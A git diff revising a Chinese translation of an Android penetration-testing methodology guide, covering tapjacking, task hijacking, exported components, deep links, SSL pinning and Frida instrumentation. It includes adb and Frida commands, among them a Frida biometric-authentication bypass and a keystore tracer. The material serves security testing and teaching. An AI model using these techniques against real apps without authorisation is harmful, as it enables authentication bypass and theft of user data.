## Other interesting tricks
|
## 其他有趣的技巧
|
||||||
|
|
||||||
- [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
|
- [在 Play 商店中伪装您的位置](spoofing-your-location-in-play-store.md)
|
||||||
- [Shizuku Privileged API (ADB-based non-root privileged access)](shizuku-privileged-api.md)
|
- [Shizuku 特权 API(基于 ADB 的非根特权访问)](shizuku-privileged-api.md)
|
||||||
- [Exploiting Insecure In-App Update Mechanisms](insecure-in-app-update-rce.md)
|
- [利用不安全的应用内更新机制](insecure-in-app-update-rce.md)
|
||||||
- **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
- **下载 APK**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
|
||||||
- Extract APK from device:
|
- 从设备提取 APK:
|
||||||
```bash
|
```bash
|
||||||
adb shell pm list packages
|
adb shell pm list packages
|
||||||
com.android.insecurebankv2
|
com.android.insecurebankv2
|
||||||
@ -60,21 +60,21 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
|||||||
|
|
||||||
### 寻找有趣的信息
|
### 寻找有趣的信息
|
||||||
|
|
||||||
仅查看 APK 的**字符串**,您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
|
仅通过查看 APK 的**字符串**,您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至寻找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
|
||||||
|
|
||||||
**Firebase**
|
**Firebase**
|
||||||
|
|
||||||
特别注意**firebase URLs**,并检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
特别注意**firebase URL**,并检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||||
|
|
||||||
### 应用程序的基本理解 - Manifest.xml, strings.xml
|
### 应用程序的基本理解 - Manifest.xml, strings.xml
|
||||||
|
|
||||||
**检查应用程序的 _Manifest.xml_ 和 _strings.xml_ 文件可以揭示潜在的安全漏洞**。这些文件可以通过反编译器访问,或通过将 APK 文件扩展名重命名为 .zip 然后解压缩来访问。
|
**检查应用程序的 _Manifest.xml_ 和 **_strings.xml_** 文件可以揭示潜在的安全漏洞**。这些文件可以通过反编译器访问,或通过将 APK 文件扩展名重命名为 .zip 然后解压缩来访问。
|
||||||
|
|
||||||
**从 _Manifest.xml_ 中识别的漏洞包括:**
|
**从 _Manifest.xml_ 中识别的漏洞包括:**
|
||||||
|
|
||||||
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试(`debuggable="true"`)的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
|
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试 (`debuggable="true"`) 的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
|
||||||
- **备份设置**:对于处理敏感信息的应用程序,`android:allowBackup="false"` 属性应明确设置,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 USB 调试时。
|
- **备份设置**:对于处理敏感信息的应用程序,`android:allowBackup="false"` 属性应明确设置,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 USB 调试时。
|
||||||
- **网络安全**:_res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
|
- **网络安全**:_res/xml/_ 中的自定义网络安全配置 (`android:networkSecurityConfig="@xml/network_security_config"`) 可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
|
||||||
- **导出活动和服务**:在清单中识别导出活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
|
- **导出活动和服务**:在清单中识别导出活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
|
||||||
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应仔细审查。
|
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应仔细审查。
|
||||||
- **广播接收器和 URL 方案**:这些组件可能被利用进行攻击,特别注意如何管理 URL 方案以防止输入漏洞。
|
- **广播接收器和 URL 方案**:这些组件可能被利用进行攻击,特别注意如何管理 URL 方案以防止输入漏洞。
|
||||||
@ -84,10 +84,10 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
|||||||
|
|
||||||
### Tapjacking
|
### Tapjacking
|
||||||
|
|
||||||
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**位于受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\
|
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**定位在受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之互动,同时将互动传递给受害者应用程序。\
|
||||||
实际上,它是**让用户不知道他们实际上是在对受害者应用程序执行操作**。
|
实际上,它是**让用户无法知道他们实际上是在对受害者应用程序执行操作**。
|
||||||
|
|
||||||
获取更多信息:
|
在这里找到更多信息:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
tapjacking.md
|
tapjacking.md
|
||||||
@ -95,9 +95,9 @@ tapjacking.md
|
|||||||
|
|
||||||
### 任务劫持
|
### 任务劫持
|
||||||
|
|
||||||
一个**活动**的**`launchMode`** 设置为**`singleTask`**,且未定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,如果在真实应用程序之前安装并启动一个**应用程序**,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**交互,以为自己在使用真实应用程序)。
|
一个**活动**的**`launchMode`** 设置为**`singleTask`**,且未定义任何 `taskAffinity`,则容易受到任务劫持。这意味着,如果在真实应用程序之前安装并启动了一个**应用程序**,它可能会**劫持真实应用程序的任务**(因此用户将与**恶意应用程序**互动,以为自己在使用真实应用程序)。
|
||||||
|
|
||||||
更多信息:
|
更多信息在:
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
android-task-hijacking.md
|
android-task-hijacking.md
|
||||||
@ -126,7 +126,7 @@ android-task-hijacking.md
|
|||||||
3. **处理来自外部存储的数据**:
|
3. **处理来自外部存储的数据**:
|
||||||
- 始终对从外部存储检索的数据**执行输入验证**。这至关重要,因为数据来自不受信任的来源。
|
- 始终对从外部存储检索的数据**执行输入验证**。这至关重要,因为数据来自不受信任的来源。
|
||||||
- 强烈不建议在外部存储上存储可执行文件或类文件以进行动态加载。
|
- 强烈不建议在外部存储上存储可执行文件或类文件以进行动态加载。
|
||||||
- 如果您的应用程序必须从外部存储检索可执行文件,请确保这些文件在动态加载之前**已签名并经过加密验证**。此步骤对于维护应用程序的安全完整性至关重要。
|
- 如果您的应用程序必须从外部存储检索可执行文件,请确保这些文件在动态加载之前**经过签名和加密验证**。此步骤对于维护应用程序的安全完整性至关重要。
|
||||||
|
|
||||||
外部存储可以在 `/storage/emulated/0`、`/sdcard`、`/mnt/sdcard` 中访问。
|
外部存储可以在 `/storage/emulated/0`、`/sdcard`、`/mnt/sdcard` 中访问。
|
||||||
|
|
||||||
@ -157,7 +157,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
|||||||
|
|
||||||
**使用不安全和/或过时的算法**
|
**使用不安全和/或过时的算法**
|
||||||
|
|
||||||
开发人员不应使用**过时的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法包括:RC4、MD4、MD5、SHA1……如果**哈希**用于存储密码,例如,应该使用抗暴力破解的哈希并加盐。
|
开发人员不应使用**过时的算法**来执行授权**检查**、**存储**或**发送**数据。这些算法包括:RC4、MD4、MD5、SHA1……如果**哈希**用于存储密码,例如,应该使用带盐的抗暴力破解**哈希**。
|
||||||
|
|
||||||
### 其他检查
|
### 其他检查
|
||||||
|
|
||||||
@ -165,7 +165,7 @@ sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
|||||||
- 如果应用程序是敏感的(如银行应用),它应该执行**自己的检查以查看手机是否已被 root**,并采取相应措施。
|
- 如果应用程序是敏感的(如银行应用),它应该执行**自己的检查以查看手机是否已被 root**,并采取相应措施。
|
||||||
- 如果应用程序是敏感的(如银行应用),它应该检查是否正在使用**模拟器**。
|
- 如果应用程序是敏感的(如银行应用),它应该检查是否正在使用**模拟器**。
|
||||||
- 如果应用程序是敏感的(如银行应用),它应该**在执行之前检查自身的完整性**,以检查是否被修改。
|
- 如果应用程序是敏感的(如银行应用),它应该**在执行之前检查自身的完整性**,以检查是否被修改。
|
||||||
- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查构建 APK 时使用了哪个编译器/打包器/混淆器。
|
- 使用 [**APKiD**](https://github.com/rednaga/APKiD) 检查构建 APK 时使用的编译器/打包器/混淆器
|
||||||
|
|
||||||
### React Native 应用程序
|
### React Native 应用程序
|
||||||
|
|
||||||
@ -185,7 +185,7 @@ react-native-application.md
|
|||||||
|
|
||||||
### 超级打包应用程序
|
### 超级打包应用程序
|
||||||
|
|
||||||
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/),超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个解压缩此类应用程序的应用程序的可能性……以及一种更快的方法,即**执行应用程序并从文件系统中收集解压缩的文件**。
|
根据这篇 [**博客文章**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/),超级打包是一种将应用程序内容压缩为单个文件的 Meta 算法。该博客讨论了创建一个可以解压这些类型应用程序的应用程序的可能性……以及一种更快的方法,即**执行应用程序并从文件系统中收集解压缩的文件**。
|
||||||
|
|
||||||
### 自动化静态代码分析
|
### 自动化静态代码分析
|
||||||
|
|
||||||
@ -195,7 +195,7 @@ react-native-application.md
|
|||||||
|
|
||||||
### 泄露的秘密
|
### 泄露的秘密
|
||||||
|
|
||||||
应用程序可能包含秘密(API 密钥、密码、隐藏的 URL、子域名……),您可能能够发现。您可以使用工具,例如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)。
|
应用程序可能包含秘密(API 密钥、密码、隐藏的 URL、子域名……)在其中,您可能能够发现。您可以使用工具,例如 [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
|
||||||
|
|
||||||
### 绕过生物识别认证
|
### 绕过生物识别认证
|
||||||
|
|
||||||
@ -245,7 +245,7 @@ content-protocol.md
|
|||||||
avd-android-virtual-device.md
|
avd-android-virtual-device.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版,您需要创建一个账户。_建议**下载**带有_**VirtualBox**的版本,以避免潜在错误。_)
|
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(免费版:**个人版,您需要创建一个账户。_建议**下载**带有_**VirtualBox**的版本,以避免潜在错误。_)
|
||||||
- [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer)。
|
- [**Nox**](https://es.bignox.com)(免费,但不支持 Frida 或 Drozer)。
|
||||||
|
|
||||||
> [!TIP]
|
> [!TIP]
|
||||||
@ -288,7 +288,7 @@ Android 的**基于剪贴板**的框架使应用程序能够实现复制粘贴
|
|||||||
|
|
||||||
如果应用程序**崩溃**并**保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低此风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。
|
如果应用程序**崩溃**并**保存日志**,这些日志可能会帮助攻击者,特别是当应用程序无法被反向工程时。为了降低此风险,避免在崩溃时记录日志,如果必须通过网络传输日志,请确保通过 SSL 通道发送以确保安全。
|
||||||
|
|
||||||
作为渗透测试者,**请查看这些日志**。
|
作为渗透测试人员,**请查看这些日志**。
|
||||||
|
|
||||||
**发送给第三方的分析数据**
|
**发送给第三方的分析数据**
|
||||||
|
|
||||||
@ -297,16 +297,16 @@ Android 的**基于剪贴板**的框架使应用程序能够实现复制粘贴
|
|||||||
### SQLite 数据库
|
### SQLite 数据库
|
||||||
|
|
||||||
大多数应用程序将使用**内部 SQLite 数据库**来保存信息。在渗透测试期间,请**查看**创建的**数据库**、**表**和**列**的名称以及所有保存的**数据**,因为您可能会发现**敏感信息**(这将是一个漏洞)。\
|
大多数应用程序将使用**内部 SQLite 数据库**来保存信息。在渗透测试期间,请**查看**创建的**数据库**、**表**和**列**的名称以及所有保存的**数据**,因为您可能会发现**敏感信息**(这将是一个漏洞)。\
|
||||||
数据库应位于 `/data/data/the.package.name/databases`,例如 `/data/data/com.mwr.example.sieve/databases`。
|
数据库应位于 `/data/data/the.package.name/databases`,如 `/data/data/com.mwr.example.sieve/databases`
|
||||||
|
|
||||||
如果数据库保存机密信息并且是**加密的**,但您可以在应用程序中**找到**密码,这仍然是一个**漏洞**。
|
如果数据库保存机密信息并且**加密**,但您可以在应用程序中**找到****密码**,这仍然是一个**漏洞**。
|
||||||
|
|
||||||
使用 `.tables` 枚举表,使用 `.schema <table_name>` 枚举表的列。
|
使用 `.tables` 枚举表,使用 `.schema <table_name>` 枚举表的列。
|
||||||
|
|
||||||
### Drozer(利用活动、内容提供者和服务)
|
### Drozer(利用活动、内容提供者和服务)
|
||||||
|
|
||||||
来自 [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf):**Drozer** 允许您**假装成一个 Android 应用程序**并与其他应用程序交互。它可以做**任何已安装应用程序可以做的事情**,例如利用 Android 的进程间通信(IPC)机制并与底层操作系统交互。\
|
来自 [Drozer 文档](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf):**Drozer** 允许您**假设 Android 应用程序的角色**并与其他应用程序交互。它可以做**任何已安装应用程序可以做的事情**,例如利用 Android 的进程间通信(IPC)机制并与底层操作系统交互。\
|
||||||
Drozer 是一个有用的工具,可以**利用导出活动、导出服务和内容提供者**,您将在以下部分中学习。
|
Drozer 是一个有用的工具,可以**利用导出活动、导出服务和内容提供者**,正如您将在以下部分中学习的那样。
|
||||||
|
|
||||||
### 利用导出活动
|
### 利用导出活动
|
||||||
|
|
||||||
@ -315,7 +315,7 @@ Drozer 是一个有用的工具,可以**利用导出活动、导出服务和
|
|||||||
|
|
||||||
**授权绕过**
|
**授权绕过**
|
||||||
|
|
||||||
当一个活动被导出时,您可以从外部应用程序调用其界面。因此,如果一个包含**敏感信息**的活动被**导出**,您可以**绕过**访问它的**身份验证**机制。
|
当活动被导出时,您可以从外部应用程序调用其屏幕。因此,如果导出了包含**敏感信息**的活动,您可以**绕过**访问它的**身份验证**机制。
|
||||||
|
|
||||||
[**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/index.html#activities)
|
[**了解如何使用 Drozer 利用导出活动。**](drozer-tutorial/index.html#activities)
|
||||||
|
|
||||||
@ -326,46 +326,46 @@ Drozer 是一个有用的工具,可以**利用导出活动、导出服务和
|
|||||||
```bash
|
```bash
|
||||||
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||||
```
|
```
|
||||||
**注意**:MobSF 会将使用 _**singleTask/singleInstance**_ 作为 `android:launchMode` 的活动检测为恶意,但由于 [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750),显然这在旧版本(API 版本 < 21)中才是危险的。
|
**注意**:MobSF会将使用_**singleTask/singleInstance**_作为活动中的`android:launchMode`视为恶意,但由于[this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750),显然这在旧版本(API版本<21)中才是危险的。
|
||||||
|
|
||||||
> [!提示]
|
> [!提示]
|
||||||
> 请注意,授权绕过并不总是一个漏洞,这取决于绕过的工作方式和暴露的信息。
|
> 请注意,授权绕过并不总是一个漏洞,这取决于绕过的工作方式和暴露的信息。
|
||||||
|
|
||||||
**敏感信息泄露**
|
**敏感信息泄露**
|
||||||
|
|
||||||
**活动也可以返回结果**。如果您设法找到一个导出且未保护的活动调用 **`setResult`** 方法并 **返回敏感信息**,则存在敏感信息泄露。
|
**活动也可以返回结果**。如果您设法找到一个导出且未保护的活动调用**`setResult`**方法并**返回敏感信息**,则存在敏感信息泄露。
|
||||||
|
|
||||||
#### Tapjacking
|
#### Tapjacking
|
||||||
|
|
||||||
如果未防止 tapjacking,您可能会滥用导出的活动使 **用户执行意外操作**。有关 [**tapjacking 的更多信息,请查看链接**](#tapjacking)。
|
如果未防止tapjacking,您可能会滥用导出的活动使**用户执行意外操作**。有关[**tapjacking是什么的更多信息,请查看链接**](#tapjacking)。
|
||||||
|
|
||||||
### 利用内容提供者 - 访问和操纵敏感信息
|
### 利用内容提供者 - 访问和操纵敏感信息
|
||||||
|
|
||||||
[**如果您想刷新内容提供者是什么,请阅读此内容。**](android-applications-basics.md#content-provider)\
|
[**如果您想刷新内容提供者是什么,请阅读此内容。**](android-applications-basics.md#content-provider)\
|
||||||
内容提供者基本上用于 **共享数据**。如果一个应用程序有可用的内容提供者,您可能能够 **提取敏感** 数据。测试可能的 **SQL 注入** 和 **路径遍历** 也很有趣,因为它们可能存在漏洞。
|
内容提供者基本上用于**共享数据**。如果一个应用程序有可用的内容提供者,您可能能够**提取敏感**数据。测试可能的**SQL注入**和**路径遍历**也很有趣,因为它们可能存在漏洞。
|
||||||
|
|
||||||
[**了解如何使用 Drozer 利用内容提供者。**](drozer-tutorial/index.html#content-providers)
|
[**学习如何使用Drozer利用内容提供者。**](drozer-tutorial/index.html#content-providers)
|
||||||
|
|
||||||
### **利用服务**
|
### **利用服务**
|
||||||
|
|
||||||
[**如果您想刷新服务是什么,请阅读此内容。**](android-applications-basics.md#services)\
|
[**如果您想刷新服务是什么,请阅读此内容。**](android-applications-basics.md#services)\
|
||||||
请记住,服务的操作始于方法 `onStartCommand`。
|
请记住,服务的操作始于方法`onStartCommand`。
|
||||||
|
|
||||||
服务基本上是可以 **接收数据**、**处理** 数据并 **返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,您应该 **检查** 其 **代码** 以了解其功能,并 **动态测试** 以提取机密信息、绕过身份验证措施...\
|
服务基本上是可以**接收数据**、**处理**它并**返回**(或不返回)响应的东西。因此,如果一个应用程序导出了一些服务,您应该**检查**代码以了解它在做什么,并**动态**测试以提取机密信息、绕过身份验证措施...\
|
||||||
[**了解如何使用 Drozer 利用服务。**](drozer-tutorial/index.html#services)
|
[**学习如何使用Drozer利用服务。**](drozer-tutorial/index.html#services)
|
||||||
|
|
||||||
### **利用广播接收器**
|
### **利用广播接收器**
|
||||||
|
|
||||||
[**如果您想刷新广播接收器是什么,请阅读此内容。**](android-applications-basics.md#broadcast-receivers)\
|
[**如果您想刷新广播接收器是什么,请阅读此内容。**](android-applications-basics.md#broadcast-receivers)\
|
||||||
请记住,广播接收器的操作始于方法 `onReceive`。
|
请记住,广播接收器的操作始于方法`onReceive`。
|
||||||
|
|
||||||
广播接收器将等待某种类型的消息。根据接收器如何处理消息,它可能会存在漏洞。\
|
广播接收器将等待某种类型的消息。根据接收器如何处理消息,它可能会存在漏洞。\
|
||||||
[**了解如何使用 Drozer 利用广播接收器。**](#exploiting-broadcast-receivers)
|
[**学习如何使用Drozer利用广播接收器。**](#exploiting-broadcast-receivers)
|
||||||
|
|
||||||
### **利用方案 / 深度链接**
|
### **利用方案/深度链接**
|
||||||
|
|
||||||
您可以手动查找深度链接,使用像 MobSF 这样的工具或像 [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py) 这样的脚本。\
|
您可以手动查找深度链接,使用像MobSF这样的工具或像[this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py)这样的脚本。\
|
||||||
您可以使用 **adb** 或 **浏览器** 打开声明的 **方案**:
|
您可以使用**adb**或**浏览器**打开声明的**方案**:
|
||||||
```bash
|
```bash
|
||||||
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
|
||||||
```
|
```
|
||||||
@ -398,7 +398,7 @@ _请注意,您可以**省略包名**,手机将自动调用应该打开该链
|
|||||||
### 传输层检查和验证失败
|
### 传输层检查和验证失败
|
||||||
|
|
||||||
- **证书并不总是被 Android 应用程序正确检查**。这些应用程序常常忽视警告,接受自签名证书,或者在某些情况下,恢复使用 HTTP 连接。
|
- **证书并不总是被 Android 应用程序正确检查**。这些应用程序常常忽视警告,接受自签名证书,或者在某些情况下,恢复使用 HTTP 连接。
|
||||||
- **SSL/TLS 握手期间的协商有时较弱**,使用不安全的密码套件。此漏洞使连接容易受到中间人(MITM)攻击,允许攻击者解密数据。
|
- **SSL/TLS 握手期间的协商有时很弱**,使用不安全的密码套件。此漏洞使连接容易受到中间人(MITM)攻击,允许攻击者解密数据。
|
||||||
- **私密信息泄露**是一个风险,当应用程序通过安全通道进行身份验证,但随后在其他交易中通过非安全通道进行通信。这种方法未能保护敏感数据,例如会话 cookie 或用户详细信息,免受恶意实体的拦截。
|
- **私密信息泄露**是一个风险,当应用程序通过安全通道进行身份验证,但随后在其他交易中通过非安全通道进行通信。这种方法未能保护敏感数据,例如会话 cookie 或用户详细信息,免受恶意实体的拦截。
|
||||||
|
|
||||||
#### 证书验证
|
#### 证书验证
|
||||||
@ -411,11 +411,11 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
|
|||||||
|
|
||||||
#### 流量检查
|
#### 流量检查
|
||||||
|
|
||||||
要检查 HTTP 流量,必须**安装代理工具的证书**(例如,Burp)。如果不安装此证书,加密流量可能无法通过代理可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
|
要检查 HTTP 流量,必须**安装代理工具的证书**(例如,Burp)。如果不安装此证书,经过代理的加密流量可能不可见。有关安装自定义 CA 证书的指南,[**请点击这里**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)。
|
||||||
|
|
||||||
针对**API Level 24 及以上**的应用程序需要修改网络安全配置以接受代理的 CA 证书。这一步对于检查加密流量至关重要。有关修改网络安全配置的说明,[**请参考此教程**](make-apk-accept-ca-certificate.md)。
|
针对**API Level 24 及以上**的应用程序需要修改网络安全配置以接受代理的 CA 证书。这一步对于检查加密流量至关重要。有关修改网络安全配置的说明,[**请参考此教程**](make-apk-accept-ca-certificate.md)。
|
||||||
|
|
||||||
如果使用**Flutter**,您需要遵循[**此页面**](flutter.md)中的说明。这是因为,仅将证书添加到存储中是行不通的,因为 Flutter 有自己有效 CA 的列表。
|
如果**Flutter**被使用,您需要遵循[**此页面**](flutter.md)中的说明。这是因为,仅将证书添加到存储中是行不通的,因为 Flutter 有自己有效 CA 的列表。
|
||||||
|
|
||||||
#### 绕过 SSL 钉扎
|
#### 绕过 SSL 钉扎
|
||||||
|
|
||||||
@ -433,12 +433,12 @@ SSL 钉扎是一种安全措施,应用程序将服务器的证书与存储在
|
|||||||
|
|
||||||
### Frida
|
### Frida
|
||||||
|
|
||||||
[Frida](https://www.frida.re) 是一个动态插桩工具包,供开发人员、逆向工程师和安全研究人员使用。\
|
[Frida](https://www.frida.re)是一个动态插桩工具包,供开发人员、逆向工程师和安全研究人员使用。\
|
||||||
**您可以访问正在运行的应用程序并在运行时挂钩方法以更改行为、修改值、提取值、运行不同的代码...**\
|
**您可以访问正在运行的应用程序并在运行时挂钩方法以更改行为、修改值、提取值、运行不同的代码...**\
|
||||||
如果您想对 Android 应用程序进行渗透测试,您需要知道如何使用 Frida。
|
如果您想对 Android 应用程序进行渗透测试,您需要知道如何使用 Frida。
|
||||||
|
|
||||||
- 学习如何使用 Frida:[**Frida 教程**](frida-tutorial/index.html)
|
- 学习如何使用 Frida:[**Frida 教程**](frida-tutorial/index.html)
|
||||||
- 一些与 Frida 相关的“GUI”操作:[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
- 一些与 Frida 交互的“GUI”: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||||
- Ojection 是自动化使用 Frida 的好工具:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
- Ojection 是自动化使用 Frida 的好工具:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||||
- 您可以在这里找到一些很棒的 Frida 脚本:[**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
- 您可以在这里找到一些很棒的 Frida 脚本:[**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||||
- 尝试通过加载 Frida 绕过反调试/反 Frida 机制,如在[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)中所示(工具[linjector](https://github.com/erfur/linjector-rs))
|
- 尝试通过加载 Frida 绕过反调试/反 Frida 机制,如在[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)中所示(工具[linjector](https://github.com/erfur/linjector-rs))
|
||||||
@ -466,7 +466,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
|||||||
|
|
||||||
即使应用程序将数据存储在keystore中,数据也应该是加密的。
|
即使应用程序将数据存储在keystore中,数据也应该是加密的。
|
||||||
|
|
||||||
要访问keystore中的数据,可以使用此Frida脚本: [https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
要访问keystore中的数据,可以使用此Frida脚本:[https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js](https://github.com/WithSecureLabs/android-keystore-audit/blob/master/frida-scripts/tracer-cipher.js)
|
||||||
```bash
|
```bash
|
||||||
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||||
```
|
```
|
||||||
@ -478,19 +478,19 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
|
|||||||
```
|
```
|
||||||
### **背景图像**
|
### **背景图像**
|
||||||
|
|
||||||
当您将应用程序置于后台时,Android 会存储应用程序的 **快照**,因此当它恢复到前台时,它会在应用程序之前开始加载图像,看起来就像应用程序加载得更快。
|
当您将应用程序置于后台时,Android 会存储应用程序的 **快照**,这样当它恢复到前台时,它会在应用程序之前开始加载图像,因此看起来应用程序加载得更快。
|
||||||
|
|
||||||
然而,如果这个快照包含 **敏感信息**,那么有权限访问快照的人可能会 **窃取这些信息**(请注意,您需要 root 权限才能访问它)。
|
然而,如果这个快照包含 **敏感信息**,那么有权限访问快照的人可能会 **窃取这些信息**(请注意,您需要 root 权限才能访问它)。
|
||||||
|
|
||||||
快照通常存储在: **`/data/system_ce/0/snapshots`**
|
快照通常存储在: **`/data/system_ce/0/snapshots`**
|
||||||
|
|
||||||
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止截图捕获。使用此标志,窗口内容被视为安全,防止其出现在截图中或在不安全的显示器上查看。
|
Android 提供了一种方法来 **通过设置 FLAG_SECURE** 布局参数来防止截图捕获。使用此标志后,窗口内容被视为安全,防止其出现在截图中或在不安全的显示器上查看。
|
||||||
```bash
|
```bash
|
||||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||||
```
|
```
|
||||||
### **Android 应用分析器**
|
### **Android 应用分析器**
|
||||||
|
|
||||||
此工具可以帮助您在动态分析期间管理不同的工具:[https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
此工具可以帮助您在动态分析过程中管理不同的工具:[https://github.com/NotSoSecure/android_application_analyzer](https://github.com/NotSoSecure/android_application_analyzer)
|
||||||
|
|
||||||
### 意图注入
|
### 意图注入
|
||||||
|
|
||||||
